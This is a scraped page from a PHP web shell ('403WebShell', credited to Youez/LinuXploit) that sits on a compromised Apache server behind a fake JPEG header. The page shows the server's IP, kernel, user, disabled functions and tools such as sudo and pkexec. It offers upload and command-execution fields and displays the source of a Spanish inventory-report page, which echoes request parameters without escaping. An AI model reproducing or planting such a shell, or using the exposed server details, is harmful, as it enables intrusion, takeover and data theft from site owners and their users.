����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 3.140.184.203
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/t/sae/appsae/core/app/view/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/t/sae/appsae/core/app/view/reportsProduct-view.php
<?php
$almacenes= StockData::getAll();
?>
  
  <section class="content-header">
			<nav class = "navbar navbar-inverse">
					<div class = "container-fluid">
						<a href = "#" class = "navbar-brand">Inventario Vendido</a>
					</div>
			</nav>	  
    </section>
	 <ol class="breadcrumb" align="right">
            <li><a href="#"><i class="fa fa-dashboard"></i> Productos </a></li>
            <li class="active">Vendidos</li>
     </ol>
	
<section class="content">

<div class="box box-primary">
  <div class="box-header">
    <h3 class="box-title">Ingresar las Fechas para revisar reporte</h3>

  </div><!-- /.box-header -->
  <div class="box-body">


<div class="row">
<div class="col-md-12">	
<div class="row">
<div class="col-md-2">

<select name="stock_id" id="stock_id" required class="form-control">
	<option value="">-- ALMACEN --</option>
	<?php foreach($almacenes as $p):?>
	<option value="<?php echo $p->id;?>" <?php if(isset($_GET["stock_id"]) && $_GET["stock_id"]==$p->id){ echo "selected"; }?>><?php echo $p->name;?></option>
	<?php endforeach; ?>
</select>

</div>

<div class="col-md-3">
	<input type="text" class="form-control " id="txtsearchitem" name="product_id" value="" placeholder="Buscar Productos Por nombre...">
</div>

<div class="col-md-3">
<input type="date" name="sd" value="<?php if(isset($_GET["sd"])){ echo $_GET["sd"]; }?>" class="form-control" required id = "date1">
</div>
<div class="col-md-3">
<input type="date" name="ed" value="<?php if(isset($_GET["ed"])){ echo $_GET["ed"]; }?>" class="form-control" required id = "date2">
</div>

<div class="col-md-1">
<button type="submit" class="btn btn-primary btn-block" id = "btn_search" onclick="load();" ><i class="fa fa-file-text"></i></button>
</div>

</div>

				<br>
				
				<div class = "table-responsive">	
					<table class = "table table-bordered">
						<thead class="alert-danger">
							<tr>
								<th style = "width:15%;">Barcode</th>
								<th style = "width:35%;">Nombre</th>
								<th style = "width:15%;">P. Costo</th>
								<th style = "width:15%;">Precio</th>
								<th style = "width:15%;">Utilidad</th>
								<th>Vendido</th>
								<th style = "width:20%;">Fecha</th>
							</tr>
						</thead>
						<tbody id = "load_data">
							
						</tbody>
					</table>
				</div>	
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
<br>
	<br>
	<br>
	<br>
	<br>
	<br>
	
<script>
	$(document).ready(function(){
	$('#date1').datepicker();
	$('#date2').datepicker();
	load();
	
	$('#reset').on('click', function(){
		location.reload();
	});
});

function load(){
			$date1 = $('#date1').val();
			$date2 = $('#date2').val();
			$stock_id = $('#stock_id').val();
			$product_id = $('#txtsearchitem').val();
			$('#load_data').empty();
			$loader = $('<tr ><td colspan = "4"><center>Cargando....</center></td></tr>');
			$loader.appendTo('#load_data');
			setTimeout(function(){
				$loader.remove();
				$.ajax({
					url: './?action=ajaxinventario',
					type: 'POST',
					data: {
						date1: $date1,
						stock_id : $stock_id,
						product_id  : $product_id,
						date2: $date2
					},
					success: function(res){
						$('#load_data').html(res);
					}
				});
			}, 3000);
}

$.datepicker.regional['es'] = {
 closeText: 'Cerrar',
 prevText: '< Ant',
 nextText: 'Sig >',
 currentText: 'Hoy',
 monthNames: ['Enero', 'Febrero', 'Marzo', 'Abril', 'Mayo', 'Junio', 'Julio', 'Agosto', 'Septiembre', 'Octubre', 'Noviembre', 'Diciembre'],
 monthNamesShort: ['Ene','Feb','Mar','Abr', 'May','Jun','Jul','Ago','Sep', 'Oct','Nov','Dic'],
 dayNames: ['Domingo', 'Lunes', 'Martes', 'Miércoles', 'Jueves', 'Viernes', 'Sábado'],
 dayNamesShort: ['Dom','Lun','Mar','Mié','Juv','Vie','Sáb'],
 dayNamesMin: ['Do','Lu','Ma','Mi','Ju','Vi','Sá'],
 weekHeader: 'Sm',
 dateFormat: 'dd/mm/yy',
 firstDay: 1,
 isRTL: false,
 showMonthAfterYear: false,
 yearSuffix: ''
 };
 $.datepicker.setDefaults($.datepicker.regional['es']);
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit